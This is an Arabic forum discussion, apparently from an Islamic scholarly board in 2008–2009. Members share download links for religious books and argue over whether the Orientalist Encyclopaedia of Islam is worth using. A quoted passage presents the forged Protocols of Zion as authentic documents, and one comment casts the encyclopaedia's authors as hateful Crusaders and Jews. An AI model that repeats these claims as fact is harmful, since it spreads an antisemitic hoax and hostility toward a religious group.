ومن ثم فقد كثرت الصيحات هنا وهناك، تحذر من مغبة هذه السياحة المزعومة، ومن آثارها السلبية على النفس الإنسانية، وعلى الفرد والأسرة والمجتمع.
وفي هذا الكتاب مجموعة طيبة من البحوث والمقالات والخطب التي تبين مفهوم السياحة بين الإسلام والجاهلية، وتحذر من سلبياتها، جمعتها من كثير من المواقع، ولاسيما صيد الفوائد، والشبكة الإسلامية، والإسلام اليوم، والإسلام سؤال وجواب، والمنبر، والمختار الإسلامي وغيرها.
لعلها تساهم في ردِّ المسلمين إلى دينهم، وتبصِّرهم بما يمكُر به أعداؤهم ليل نهار، بعناوين براقة ظاهرة الرحمة وباطنها العذاب في الدارين.
وكل واحد منها مشفوع بمصدره، وتركتها كما هي إلا في تنسيقها , وهي مرتبة على حروف المعجم لسهولة الرجوع إليها، ووضعتها في الشاملة 3 ليعم النفع بها أيضاً.
نسأل الله تعالى أن ينفع بها جامعها، وقارئها، وناشرها والدال عليها في الدارين.
الباحث في القرآن والسنَّة
علي بن نايف الشحود
في 25 رمضان 1429 هـ الموافق ل 25/ 9/2008 م
ـ[أبو عبد الله السني]ــــــــ[03 - 10 - 08, 09:35 ص]ـ
جزاكم الله خيراً وبارك فيكم شيخنا
وكل عام وأنتم بخير، وأسأل الله تعالى أن يرزقكم اللقاء بأحبتكم في بلدكم قريباً إنه سميع مجيب.
(يُتْبَع .. اقلب الصفحة)
(61/366)
ـ[علي 56]ــــــــ[03 - 10 - 08, 04:02 م]ـ
تقبل الله منا ومنكم
نسال الله تعالى أن يجمع بيننا على الخير دائماً
ـ[أبو المظفر السِّنَّاري]ــــــــ[04 - 10 - 08, 06:08 ص]ـ
جزاك الله خيرًا.
ـ[علي 56]ــــــــ[04 - 10 - 08, 08:18 ص]ـ
وأنت أخي الحبيب
جزاك الله خيرا
ـ[شبيب القحطاني]ــــــــ[04 - 10 - 08, 12:35 م]ـ
تقبل الله منا ومنكم
وجزاكم الله خيرا
ـ[الديولي]ــــــــ[04 - 10 - 08, 01:15 م]ـ
السلام عليكم
بارك الله فيك ونفع
سؤالي اخي الفاضل / ما الجديد الذي تناولته بالبحث عن كتاب (أحكام السياحة وآثارها، دراسة شرعية مقارنة، لمؤلفه / هاشم بن محمد بن حسين الناقور)
حفظك الله ورعاك
ـ[محمد العوني]ــــــــ[04 - 10 - 08, 01:18 م]ـ
جزاكم الله خيراً ..
ـ[علي 56]ــــــــ[04 - 10 - 08, 02:04 م]ـ
جزاكم الله خيرا أيها الأحباب
الأخ الديولي
الكتاب الذي ذكرته غير متاح على النت، ومن ثم لا ينتفع به إلا من كان بحوزته فقط، ونحن قد جمعنا ما تناثر حول هذا الموضوع على النت للتحذير من مثل هذه السياحة
ـ[الديولي]ــــــــ[04 - 10 - 08, 09:56 م]ـ
جزاك الله خيرا
ونفع الله بك
ـ[علي 56]ــــــــ[05 - 10 - 08, 07:26 ص]ـ
وأنت أخي الحبيب
جزاك الله خيرا(61/367)
محرك بحث جديد
ـ[ميهوب بوعلام]ــــــــ[02 - 10 - 08, 07:44 م]ـ
بسم الله الرحمن الرحيم.
والصلاة والسلام على رسول الله.
قد ظهر محرك بحث جديد وأحببت أن آتيكم به.
وهذا رابطه: http://lo.st/(61/368)
من لي بكتاب (استمتع بحياتك) أكون له من الشاكرين
ـ[عبد الرحمن السبيعي]ــــــــ[03 - 10 - 08, 03:02 ص]ـ
السلام عليكم ورحمة الله وبركاته
أيها الإخوة من يأتيني برابط تحميل
كتاب: استمتع بحياتك
لمؤلفه: الشيخ محمد العريفي
ولن أنساه من الدعاء
ـ[ابوعبدالله القزلان]ــــــــ[03 - 10 - 08, 03:10 ص]ـ
السلام عليكم
يوجد في المكتبة التدمرية بالرياض مبلغ مابين 23 - 20ريال
ـ[عبد الرحمن السبيعي]ــــــــ[03 - 10 - 08, 03:14 ص]ـ
الكتاب موجود لدي وهو بجانبي الآن
لكن الذي أريده رابط اكتروني للكتاب وذلك لنشره في المنتديات
ـ[ابوعبدالله القزلان]ــــــــ[03 - 10 - 08, 03:33 ص]ـ
سيفادونك الأخوة ان شاء الله لكن لا تستعجل
ـ[أبو خباب المكى]ــــــــ[03 - 10 - 08, 03:34 ص]ـ
http://www.alarefe.com/play.php?catsmktba=338
ـ[عبد الرحمن السبيعي]ــــــــ[03 - 10 - 08, 03:37 ص]ـ
جزاك الله خير اخي أبو خباب المكي
لا حرمكـ الله الأجر
ـ[ابوعبدالله القزلان]ــــــــ[03 - 10 - 08, 03:40 ص]ـ
وانا لماذا لا تدعيلي انا بحاجه الى دعاء
(اخي ابوخباب عطني اذنك انني لا احسدك ولكن اغبطك من دعاء)
ـ[حسام الدين قاسم]ــــــــ[03 - 10 - 08, 03:41 ص]ـ
لقد تم تنسيق كتاب استمتع بحياتك على برنامج 3 b2 في مكتبي وذلك لإحدى دور النشر المصرية وهو موجود عندي بي دي إف إذا أردت أرسله على إيميلك لأني لا أستطيع أن أرسل أي نسخة 3 b2 لأنها من حق الناشر فقط ونسخة البي دي إف جاهزة للمنتديات فهي طبعة نهائية وكنت أريد وضعها على الملتقى ولكن أريد أن يضع أحد الإخوة طريقة خطوات التحميل
أخوكم في الله/ حسام الدين قاسم
maktab_alhosam@yahoo.com
ـ[عبدالملك السبيعي]ــــــــ[04 - 10 - 08, 04:55 ص]ـ
تعليقات بسام على كتاب (استمتع بحياتك) للدكتور العريفي على ملف وورد
http://www.ahlalhdeeth.com/vb/showthread.php?t=140251
طريقة إرفاق الصورة داخل مشاركتك في الملتقى
http://www.ahlalhdeeth.com/vb/showthread.php?t=76852
لتصفح الكتاب بطريقة مشوقة
http://hor3en.com/vb/showthread.php?t=14775(61/369)
حمل بعض مجلدات دائرة المعارف الاسلامية (المترجمة)
ـ[محمد الاسلام]ــــــــ[03 - 10 - 08, 03:05 ص]ـ
من هذه الروابط
http://wadod.net/open.php?cat=14&book=1008
http://wadod.net/open.php?cat=14&book=904
http://wadod.net/open.php?cat=14&book=858
http://wadod.net/open.php?cat=14&book=828
http://wadod.net/open.php?cat=14&book=1070
ـ[أبويعلى البيضاوي]ــــــــ[03 - 10 - 08, 09:00 ص]ـ
جزاك الله خيرا
ـ[أبو سعد المصري]ــــــــ[03 - 10 - 08, 12:28 م]ـ
شكرا على هذه الروابط القيمة، وليتك تجد روابط بقية المجلدات. فهذه الموسوعة - رغم ما عليها من اعتراضات شديدة - تزخر بالمعلومات المفيدة، وتحتوي على ببليجرافيا قيمة تفيد الباحثين.
جزاك الله خير الجزاء
ـ[إسماعيل سعد]ــــــــ[03 - 10 - 08, 03:26 م]ـ
جزاكم الله خير الجزاء
ـ[أبو إسلام عبد ربه]ــــــــ[05 - 10 - 08, 02:53 ص]ـ
هي من تأليف مجموعة من الصليبيين واليهود الحاقدين على الإسلام، هدفها تشويه صورة الإسلام
ـ[أبوعمرو المصري]ــــــــ[06 - 10 - 08, 05:23 ص]ـ
ينظر هنا:
دائرة المعارف الإسلامية الاستشراقية أضاليل وأباطيل
د. إبراهيم عوض
الطبعة الأولى
1419 هـ - 1998 م
مكتبة البلد الأمين
الحجم: 6 ميجا
http://www.archive.org/download/dmieaa/dmieaa.pdf
ـ[أبوعمرو المصري]ــــــــ[06 - 10 - 08, 05:32 ص]ـ
وينظر: في المجلد الثاني من كتاب أعلام وأقزام في ميزان الإسلام، هذه العناوين:
فنسنك المرتد عن الإسلام و ((دائرة المعارف الإسلامية))
دائرة المعارف الإسلامية
رأي أهل العلم في دائرة المعارف الإسلامية
رأي الشيخ رشيد رضا
رأي فريد وجدي
ـ[أبوعمرو المصري]ــــــــ[06 - 10 - 08, 05:41 ص]ـ
921 - انحرافات متنوعة في دائرة المعارف الإسلامية
الرابط:
http://www.ahlalhdeeth.com/vb/showthread.php?t=19439&page=27
ـ[أبوعمرو المصري]ــــــــ[06 - 10 - 08, 05:49 ص]ـ
انحرافات الفلاسفة والباطنية والزنادقة في دائرة المعارف الإسلامية
http://www.ahlalhdeeth.com/vb/showthread.php?t=19439&pp=15&page=90
ـ[أبوعمرو المصري]ــــــــ[06 - 10 - 08, 05:53 ص]ـ
وضعت هذه الروابط حتى يعرف من ليس متمكنا في العلوم الشرعية أن هذه الموسوعة ليست مصدرا موثوقا للعلوم الإسلامية، وفيما عندنا من مصادر خير وكفاية والحمد لله.
ـ[محمد الاسلام]ــــــــ[08 - 10 - 08, 07:22 ص]ـ
نعرف ذلك جيدا اخي ولسنا سُذّج
ووضعت روابطها لمن يريدها لسبب او اخر ومن يعرف الشر يتقيه
وربما يستفيد منها احد لانعلم (حتى لو كان مجرد الاطلاع لمن هو متمكن متين الاساس العقدي حتى لا يهتز ولا يُشكك بشبهات واهيه مكرورة لاتنطلي الا على قليلي البضاعة) ومن لايريدها فلا عليه
و عموما جزاك الله خيرا على تنبيهك من لا يعرف شيء عنها
وايضا هذه بعض المجلدات فقط فهدئ من روعك
ـ[أبوعمرو المصري]ــــــــ[08 - 10 - 08, 08:42 ص]ـ
سامحك الله، (وَقُلْ لِعِبَادِي يَقُولُوا الَّتِي هِيَ أَحْسَنُ إِنَّ الشَّيْطَانَ يَنْزَغُ بَيْنَهُمْ إِنَّ الشَّيْطَانَ كَانَ لِلْإِنْسَانِ عَدُوّاً مُبِيناً) (الاسراء:53)
ـ[محمد الاسلام]ــــــــ[08 - 10 - 08, 09:44 ص]ـ
اخي الكريم لم اقل شيئا
كل ماهنالك وضحت
واسأل الله ان يسامحني واياك وجميع المسلمين فإنه من وراء القصد والنوايا
ـ[عبد الرحمن أبو عبد الله]ــــــــ[08 - 10 - 08, 01:21 م]ـ
جزاك الله خيرا
ـ[محمد الاسلام]ــــــــ[01 - 11 - 08, 06:51 ص]ـ
احد مجلدات دائرة المعارف الاسلامية عن بغداد
http://www.liilas.com/mlooli/bghdad.pdf
كلمة المرور liilas.com
ـ[أبو سعد المصري]ــــــــ[01 - 11 - 08, 09:52 ص]ـ
شكرا لك، وليتك تمدنا ببقيه المجلدات.
ـ[محمد الاسلام]ــــــــ[24 - 12 - 08, 07:20 م]ـ
وهذا مجلد اخر عن التصوف
http://www.4shared.com/file/22134496/b8761ca3/_online.html
ـ[عبدالله الوشمي]ــــــــ[25 - 12 - 08, 09:42 ص]ـ
بوكتم وفع الله بكم
ـ[محمد جلال القصاص]ــــــــ[25 - 12 - 08, 10:24 م]ـ
نحتاج دائرة المعارف جداً. أجهدني الذهاب للمكتبة من أجل المطالعة فيها ـ وغيرها ـ وأنا أرد على بطرس الكذاب
ليتك تجمعها أخي في ملف واحد وتضعها لمن شاء أن يستفيد.
جزاك الله خيرا على هذا المجهود.
(يُتْبَع .. اقلب الصفحة)
(61/370)
الدائرة من أخبث وأخس ما كتب عن الإسلام جملة. ولا خير فيها. ولا يصدق قائلها أبداً. وليست من (له وعليه).
ولكن لطلبة العلم والباحثين. يستفيدون منها.
ـ[محمد مبروك عبدالله]ــــــــ[19 - 02 - 09, 09:44 م]ـ
... لنتعرف على رأي العلماء في دائرة المعارف الإسلامية حتى لا يذهب بنا الإعجاب بهذا العمل بعيدا عن الحق.
دائرة المعارف الإسلامية:-
يقول: د / محمود حمدى زقزوق.
(وعلى الرغم من ما لنا نحن المسلمين على هذه الدائرة من مآخذ كثيرة فإنها تعد ثمرة من ثمار التعاون العلمي الدولي بين المستشرقين وقد تم إصدارها فى طبعتها الأولى بالانجليزية والفرنسية والألمانية فى الفترة من 1913: 1938 وقد تولت نقلها إلى العربية لجنة دائرة المعارف الإسلامية من خريج الجامعة المصرية ولكنها لم تصل فى الترجمة إلا إلى حرف العين ... ، وقد عمد المترجمون إلى الأخطاء التى وقع فيها المستشرقون وقاموا بكتابة بعض التعليقات عليها) ()
وقد أشار محمد فريد وجدى إلى بعض أخطائها فقال: فقد سيطرت البدع الدخيلة على الدين الإسلامى على مواد هذه الموسوعة حتى ليظن الباحث انها من أصول الإسلام، وقد أمعن مؤلفوا هذه الدائرة فى تسجيلها وشرحها على انها حقائق مقررة بينما الإسلام يبرأ منها وما جاء الا لمحاربتها، وقد أشار أيضا إلى القصد المتعمد فى الجمع بين أساطير البدع فى حقائق الشريعة وقال: إن أكثر كتاب الدائرة قسس مبشرون يهمهم أن يتحيفوا على الإسلام لا أن ينصفوة، وأشار الباحثون إلى أن نواحى الخطر فى هذه الدائرة هو ان ما يترجم منها لا يتعرض له أحد بالايضاح والتحليل لما فيها من اخطاء وشبهات وأنها تسطر البدع الدخيلة على الإسلام بإستفاضة مثيرة، وأنها تعتد على كتب عير موثوق بها ككتاب شمائل المصريين " لإدوارد وليم لن* " عام 1835 وأن بهذه الدائرة عيوباً علمية وتاريخية كما يقول " محمد رشيد رضا " .. وأن الذين ترجموا هذه الدائرة لم يعلقوا على ما فيها من أغلاط ومطاعن، وهى أضر شرا من كتب دعاة المبشرين وصحفهم لأنها تعزو معلوماتها إلى كتب المسلمين فتخدع القارئين وهذه الدائرة تحتوى على أخطاء ودسائس ناشئة عن التعصب الأوروبى) () وعلى (الرغم من أن هذه الدائرلاة ترجمت بواسطة لحنة من خريجى الجامعات المصرية عام 1933 ولم تصل الترجمة إلى حرف العين، وقد عمد المترجمون إلى تعليقات هامة فى أعقاب الكثير من المقالات بتصحيح ما وقع فيه المستشرقون من أخطاء) () ويقول الدكتور سعد الدين صالح عن هذه الدائرة: (إنها معجم ألفه المستشرقون لخدمة اليهودية والنصرانية حيث أنه لم يتركوا شيئاً من عقائد الإسلام ولا شرائعه الا وصوروه لقرائهم بما يخالف الصورة الصحيحة فى كثير من الوجوه وما لم يشوهوه من الحقائق عرضوه بصورة عادية لا مزية فيها وفى هذه الدائرة كثير من العيوب العلمية والتاريخية المغرضة، وبالإجماع فإن هذه الدائرة لا تصلح مصدراً لاستيفاء المعلومات عن الإسلام ولا عن المسلمين) () (وتعد دائرة المعارف أبرز ما أصدرة المستشرقون حتى أنهم أصدروا موجزاً لها بنفس اللغات التى صدرت بها الدائرة، ويعتبرها الكثير من الكتاب المسلمين مرجعاً لكتاباتهم رغم ما فيها من الاخطاء الجسيمة، والتعصب البغيض والعداء السافر لإسلام والمسلمين) () ويؤكد العلامة " الندوى " بقوله: (إن دائرة المعارف الإسلامية يعتبرها البعض أكبر مصدر للمعلومات والحقائق الإسلامية وأثمن ذخيرة، وتعتبرها بعض الدول الإسلامية اليوم أساساً للمعلومات الإسلامية، وتقوم بترجمتها إلى لغتها بنصها وفصها، وكان المتوقع المأمول منها أن تضع موسوعات إسلامية أصيلة بقلم الباخثين المسلمين* أصحاب الاختصاص فى الموضوعات الإسلامية) () هذا ويعد بعض الباحثين (أن من أساليب المستشرقين فى محاربة الإسلام تأليف الموسوعات، ودوائر المعارف العالمية التي من خلالها ينفثون سمومهم وينشرون أكاذيبهم، ويسعون إلى تشكيك الجيل المسلم فى دينه وعقيدته وتاريخه، ومن أخطر هذه الدوائر دائرة المعارف الإسلامية والتى كتبت معظم موادها تحت أشراف " فنسنك ") () ويقول الأستاذ أنورالجندي عن هذه الدائرة: (لقد أجمعت آراء الباحثين على أن دائرة المعارف الإسلامية تضم مجموعة من المحاذير التى يجب التبين لها والتصدي
(يُتْبَع .. اقلب الصفحة)
(61/371)
للرد عليها وكشف أهدافها وهى:
أولاً: سيطرة البدع الدخيلة على الدين الإسلامي على مواد الموسوعة باستفاضة مثيرة حتى ليظن الباحث أنها من أصول الإسلام.
ثانيا: جمعت دائرة المعرف خلاصة مختلف الكتب التى ألفها المستشرقون فى الهجوم على الإسلام ... ويم جعلها مصدراً إسلاميا يرجع إليه فى سهولة ويسر بعد أن ترجمت أغلبها إلى العربية.
ثالثاً: بالمراجعة السريعة لدائرة المعارف الإسلامية نجد أن مادتها تتكون من ثلاثة عناصر:
أ- بلاد وأقطار وهذه يقل فيها الخطأ.
ب- شخصيات وأعلام وهذه يجرى انتقاص عظمتها وبطولتها.
ج- مواد فقهية وشرعية كالصلاة والزكاة والبيوع والمعاملات وهذه يكثر فيها الخلط والتزييف.
رابعاً: العمل إبراز المفاهيم التى تعارض مفهوم أهل السنة والجماعة بالإعلاء كل ما يتعلق بالخوارج والإسماعيلية والباطنية والفكر الصوفي الفلسفي البعيد عن ضوابط الشرع) ()
خامساً: من الأغلاط العجيبة أن الكتاب الأوروبيون ترجموا بعض الكلمات العربية ثم حرصوا على الكلمة المترجمة فوضعوها بين قوسين ليستعين عارف العربية بها على تحديد المعنى فلما أريد رد هذه الكلمة إلى لغتها وضعت كلمة أخرى مكانها لا تؤدى معناها بقت هى زائدة
سادساً: شكك كتاب دائرة المعارف فى عالمية الإسلام وقدسية القرآن) ()
هوامش:
(1) د / محمود زقزوق: الاستشراق والخلفية الفكرية ص 68: 69 بتصرف
(1) أنور الجندي: الشبهات والأخطاء الشائعة فى الفكر الإسلامي ص 311: 312 وأنور الجندي سموم الاستشراق والمستشرقين ص 17: 20
(2) د/ على عبد الوهاب: بين الإسلام والغرب ص 209 وأنظر الموسوعة الميسرة م2 ص 692
(1) سعد الدين صالح أحذروا الأساليب الحديثة ص 113
(2) محمد محمد الدهان: قوى الشر المتحالفة ص 73
(3) أبو الحسن الندوى: الإسلاميات بين كتابات المستشرقين والباحثين المسلمين ص 19 ط مؤسسة الرسالة الثالثة 1405هـ 1985م وأنظر الندوى كتاب الإسلام والمستشرقون.
(1) أبو الحسن الندوى: الإسلاميات بين كتابات المستشرقين والباحثين المسلمين ص 19 ط مؤسسة الرسالة الثالثة 1405هـ 1985م وأنظر الندوى كتاب الإسلام والمستشرقون.
(1) أنور الجندي: مجلة منار الإسلام عدد جمادى الآخر ص 76: 77 عام 1406 وأنور الجندي معلمة الإسلام م2 ص 625: 629
(1) أنور الجندي معلمة الإسلام م2 ص 625: 629
(2) أنور الجندي: مقدمات العلوم والمناهج م5 ص 206: 212 والإسلام فى وجه التغريب ص 410: 416 وأنظر أنور الجندي مقدمات العلوم والمناهج وموسوعة الإسلامية الفكر الإسلامي والثقافة العربية فى مواجهة تحديات الاستشراق والتبشير.
******هذا الكلام أثبته الباحث /عمر السيد أبو سلامة
في رسالته للماجستير في كلية الدعوة الإسلامية بالقاهرة
وكان عنوانها "جهود انور الجندي في الدفاع عن الإسلام ضد التبشير والاستشراق والتغريب"
والباحث يتناول هذه الموسوعة الآن في دراسته للدكتوراة وأدعو له بالتوفيق والسداد.
وللأستاذ أنور الجندي له كتابات كثيرة عن أخطاء دائرة المعارف الإسلامية وقاموس المنجد.
كما أن الأستاذ الدكتور إبراهيم عوض له كتاب هام في الكشف عن بعض أخطاء هذه الدائرة
دائرة المعارف الإسلامية الاستشراقية أضاليل وأباطيل
د. إبراهيم عوض
الطبعة الأولى
1419 هـ - 1998 م
http://www.archive.org/download/dmieaa/dmieaa.pdf
ـ[البشير الزيتوني]ــــــــ[20 - 02 - 09, 11:38 م]ـ
بسم الله الرحمن الرحيم، وصلى الله على سيدنا محمد خاتم النبيين، وعلى آله وصحبه أجمعين.
لا أحد يُعجَب بدائرة المعارف الإسلامية، ورغم ذلك يجب أن نعلم أنها مرجع أساسي لا يجب أن تخلو منه مكتبة أي أكاديمي، ولابد من الرجوع إليها (بالرد على ما فيها)، ولا يصح عدم الرجوع إليها.
مثال ذلك: إذا كنت تكتب ماجستيرا أو دكتوراه في موضوع ديني، فعليك أن ترجع إليها، وتنقل عن المستشرقين ما قالوه من طعون في موضوعك، وتنقله، وترد عليه، فهذا له أثره في التقدير الذي ستحصل عليه في أطروحتك، لأنه يدل أولا على أنك قد تعبت في الرجوع للمصادر الغربية بالإضافة إلى المصادر العربية، كما يدل ثانيا على أنك لست ذا نظرة أحادية، بل عند دراسة القضية نظرت إلى جميع جوانبها، واستقصيت كل الآراء التي فيها، وهذا ألف باء منهج البحث العلمي، مما يكسب أطروحتك ثقلا، ويزيد من تقدير لجنة المناقشة لرسالتك.
دائرة المعارف (لم يزعم) أحد أنها للثقافة العامة، ورفعها على المنتدى لا يصح أن يثير حفيظة المتدينين، فكلنا متدينون إن شاء الله، لكنها مرفوعة للمتخصصين، والمتخصصون من أعضاء المنتدى ليسوا بالآحاد أو العشرات حتى نغض الطرف عن مصلحتهم، بل هم بالمئات، فأنا أستطيع أن أزعم أن جميع المعيدين والمدرسين المساعدين والمدرسين والأساتذة المساعدين والأساتذة، في علوم الدين والأدب والنقد واللغة والنحو، (في الوطن العربي كله)، ممن يملكون حاسوبا ويدخلون على الإنترنت، هم أعضاء مقيمون وضيوف دائمون كل يوم في (ملتقى أهل الحديث)، فلا يصح أن نغفل مصلحتهم من أجل خوف زائد، فلن يقتنع بكلام المستشرقين إلا حمار.
حتى الدكتور إبراهيم عوض صاحب كتاب: (دائرة المعارف الإسلامية الاستشراقية أضاليل وأباطيل)
، يملك نسخة كاملة من دائرة المعارف الإسلامية، ودائم الرجوع إليها في معظم كتبه، (بالنقل ثم بالتفنيد)، لكنه لا يستغني عنها، ولا يستطيع تجنب الاستشهاد بها في كتبه.
لا تحرمونا من المراجع الأساسية الغالية التي يصعب الحصول عليها، وارحمونا من التشدد الزائد يرحمكم الله.
(يُتْبَع .. اقلب الصفحة)
(61/372)
ـ[محمد مبروك عبدالله]ــــــــ[21 - 02 - 09, 12:26 ص]ـ
ليس هناك تشدد وإن جاز التشدد فالتشدد في هذه الحالة واجب ,أخي الفاضل ماذا فعل سلفنا الصالح مع كتب
اليونان والفلسفة هل نشرت إلا في أزمان متأخرة، هل تريد أن تتاح هذه الموسوعات للصالح والطالح فكريا
كما لم يطالب أحد إلى الآن بمنع نشر دائرة المعارف المذكورة ولكن أليس من الواجب التنبيه وبشدة على مدى
خطورة هذا المؤلف على طلاب العلم المبتدئين الذين لا يمتلكون حصانة عقائدية وفكرية كاملة؟
كما أن هذه الموسوعة قديمة وهي لمستشرقين رحلوا عن الدنيا وليس فيها جديد إلا من باب الدراسات الجادة مثل الدراسات المتخصصة في مرحلتي الماجستير والدكتوراة والدراسات المتخصصة وكما ذكرت سابقا أن أخي وصديقي الباحث الجاد عمر أبو سلامة يتناول أحد الموضوعات فيها بالتفنيد والرد العلمي، فلماذا الإصرار الدائم على فائدتها وهي لم تكتب أو تطبع لنا كمسلمين فهي شبهات وأباطيل لمجموعة من المستشرقين تتبنى وجهة النظر الغربية للإسلام والمسلمين وتمثل مرجعا للفكر الغربي تعطي التصور الذي يلتزم به الغرب عند الحديث الإسلام فلماذا المطالبة بقراءتها واقتنائها مادامت ليست من صميم عملي في الكشف عن أخطاء الغرب والاستشراق نحو الإسلام والمسلمين؟ و لماذا لا تكون مثل هذه المؤلفات يتم تعاطيها في إطارأكاديمي بحت بعيدا عن العامة والمبتدئين؟
لماذا نرفع من قيمة هذا المؤلف رغم أنه يمتلئ بالأخطاء العلمية والمنهجية؟
لماذا لا نقلل من أهمية هذا المؤلف خاصة وأن سنوات تاليفه قد مر عليها عقود طويلة؟
هل لنرد عليها , ألا تعلم وأظنك تعلم أن هناك مئات الردود قد كتبت في دحض تلك الشبهات التي باتت مكررة لا جديد فيها، كما أن مركزا لدراسة الاستشراق ومايكتبه المستشرقون موجود الآن في في المملكة العربية السعودية،وهناك متخصصون في مجال الاستشراق هم أولى بالاطلاع عليها من غيرهم،لكن أن يتاح الأمر للجميع فهذا أظنه لا يخدم الدين ولا يعمل على مواجهة مثل هذه السموم ....
ويذكر الأستاذ أنور الجندي في كتابه الرائق (شهادة العصر والتاريخ) بعضا من الذكريات عن مواقف حدثت معه مع عدد من المستشرقين في أحد الملتقيات العلمية, ثم يلخص تجربته الطويلة في قراءة كتب المستشرقين ... إليك جانبا مما قال:
... "كان من أبرز منجزات الملتقى الثالث عشر للفكر الإسلامي – الذي
عقد في (تامرنست) بالجزائر في المدة من 29 أغسطس إلى 9 سبتمبر 1979 – هو كشف زيف مجموعة كبيرة من المستشرقين، وكُتّاب الغرب الذين شاركوا فيه، فقد عرضوا وجهات نظرهم في كثير من القضايا الإسلامية، من منطلق الفكر الاستشراقي المنحرف المضلل، فتصدى لهم كثير من علماء المسلمين أمثال: محمد المبارك ومعروف الدواليبي وفاضل الجمالي ومحمد سعيد البوطي وكاتب هذه السطور بالرد والمعارضة والتعليق والتعقيب.
ومن العجيب انهم فروا كالطير الخائف المرتجف أمام كلمة الحق،
وتراجعوا ولفوا في إجاباتهم، ولكنهم، أحسوا – ربما لأول مرة – بتلك المعارضة القوية التي أبداها كُتّاب الإسلام وعلماؤه وذلك الأسلوب العلمي الصحيح الذي قدموا به ردودهم، وكشفوا به زيف دعاوي الاستشراق.
حديث معادٍ وحجج باطلة:ولم تكن كلمات هؤلاء الكُتّاب في الحقيقة إلا ترديداً لما قرأناه كثيراً، وما نشر من كتابات جولد زيهر ومرجليوث وشاخت وماسينيون وجب، وغيرهم من متعصبة الاستشراق، وجاء اليوم روجيه جارودي ومونتجمري وات وأتباعهم من أمثال جوردن نيف وإدوارد شوبرتر وغيرهم من تلامذة المبشرين ليرددوها، وقد تبين من حصيلة ما قدم المستشرقون ما يلي:
أولاً: أنهم لا يتابعون النهضة الإسلامية الحديثة، ولا يقرأون ما قدمه في السنوات الأخيرة كُتّاب مسلمون متفتحون يستمدون فكرهم من المصادر الأصيلة، ومن المنابع الأولى، وهو الذين عرفوا برجال حركة اليقظة الإسلامية.
ثانياً: أنهم يتجاهلون هذا التيار الضخم من الأصالة والعودة إلى الإسلام والأبحاث العملية الجادة، التي قننت الشريعة الإسلامية، أو قدمت إجابات عصرية واضحة لمفاهيم الإسلام.
(يُتْبَع .. اقلب الصفحة)
(61/373)
ثالثاً: أنهم ما زالوا يلوكون تلك الشبهات القديمة ويرددونها، فهم مثلاً لم يتقبلوا بعد – وما زالوا يتجاهلون – تلك الوثائق الصحيحة التي كشفت عنها الدراسات، خاصة بشأن السلطان عبدالحميد والدولة العثمانية، وبروتوكولات صهيون ومخططات المؤامرة الثلاثية للنفوذ الأجنبي والشيوعية والصهيونية، وما يتصل بالماسونية، ودورها في الثورة الفرنسية وإسقاط الدولة العثمانية.
رابعاً: أنهم ما زالوا يرفعون من أقدار الشعوبية وأبحاث الباطنية والمجوسية، التي تلتحق بالتصوف الفلسفي وعلم الكلام، والمعتزلة والفلاسفة المشائين، والمتابعين للفكر اليوناني أمثال الفارابي وابن سينا (وقد تبين أخيراً أنهما من الباطنية أتباع القرامطة وغيرهم).
خامساً: أنهم ما زالوا يحجبون تماماً ذلك العطاء الإسلامي السخي الذي قدمه ابن تيمية وابن حنبل وابن القيم والشافعي والماوردي وابن حزم، ويشيحون عنه في كراهية وحقد، ويقفون عند تلك الأبحاث التي تتصل بابن الراوندي والحلاج وابن عربي ومن تابع الفلسفة اليونانية، حتى إذا عرضوا للإمام الغزالي لم يقدموه إلا في صورة تابع للفلسفة اليونانية.
سادساً: لقد كشفوا عن انهم لا يملكون شيئاً إيجابياً أو صالحاً – في هذه الفترة – يمكن أن يقدموه للمسلمين في مجال الحاجة إلى وجهة نظرهم، فما زالت أهواؤهم تسيطر على عطائهم فهم يقدمون السموم والأساطير والآراء الضالة أو على الأقل يقدمون تجربة مجتمعاتهم الفاسدة، وليست لهم قدرة حقيقية على أن يستوعبوا أحوال مجتمعات المسلمين، ليقدموا لها شيئاً ينفع، كما أن عطاءهم قليل وغير مجدٍ، وغير إيجابي ويمكن الاستغناء عنه.
ولذلك فعند استدعائهم إلى الملتقيات الإسلامية، يجب أن يكون محوطاً بقدر كبير من الحذر، وخاصة إذا كانت هناك مجموعات من الشباب لم يستوعب بعد ثقافة إسلامية عميقة، تعصمهم من شبهات المستشرقين التي قدموها وأعلنوا صراحة أنهم يقدمونها للشباب.
سابعاً: أن محاولة مناقشة آراء المستشرقين بتقديمهم في هذه الملتقيات قد كشف زيفهم، وبين أن المنهج (العلمي!) الذي يعتمدون عليه في البحث مضلل وقائم على الأهواء، وهم يستعملونه في المغالطة بتحريف النصوص أو تأويلها، أو المراوغة في شرحها، أو التضليل في التعليق عليها وإثارة الشبهات منها، وليست لديهم القدرة الحقيقية على الرجوع إلى الحق، إذا تبين لهم أو إذا علموه، وهم يصرون على باطلهم ويراوغون؛ إما بالتغاضي عن التعقيبات التي توجه إليهم وإما بالتمويه بالتعليق بأذيال خيوط باهتة لتبرير آرائهم."
... من كتاب شهادة العصر والتاريخ ص 170
ـ[البشير الزيتوني]ــــــــ[21 - 02 - 09, 11:43 م]ـ
بسم الله الرحمن الرحيم، وصلَّى اللهُ على سيدنا محمد خاتم النبيين، وعلى آله وصحبه أجمعين.
الأخ الفاضل الغيور على دينه محمد مبروك.
• تقول – أكرمك الله -: (ليس هناك تشدد، وإن جاز التشدد فالتشدد في هذه الحالة واجب).
أخي العزيز، التشدد يتحقق بحرمان الباحثين من مرجع هام (غالي الثمن) (صعب الحصول عليه)، من أجل (خوف موهوم) من أن يقع القارئ للموسوعة في الضلال، بسبب ما فيها من ضلال ... هذا خوف وهمي لا أساس له من الصحة ... هل ستؤمن بالتصوف عندما تقرأ في الموسوعة أن الحلاج ادعى الألوهية وحلول الله فيه! أو أن ابن عربي كان يؤمن بوحدة الوجود؟! أنت وأنا وجميع أعضاء المنتدى عندما نقرأ هذه الخزعبلات لن نزداد بالسنة إلا تمسكا، ولن نزداد بالمتصوفة إلا مقتا ... فالخوف من أن نقع في الضلال والبدعة عند قراءة الموسوعة خوف وهمي لا داعي له، ولا ثمرة له إلا حرمان الباحثين من مرجع غالٍ (في السعر) و (غير متوافر)، ويصعب الرجوع إليه عند الاحتياج إليه.
• ثم تقول – أكرمك الله -: (أخي الفاضل، ماذا فعل سلفنا الصالح مع كتب اليونان والفلسفة؟ هل نُشِرت إلا في أزمان متأخرة؟).
(يُتْبَع .. اقلب الصفحة)
(61/374)
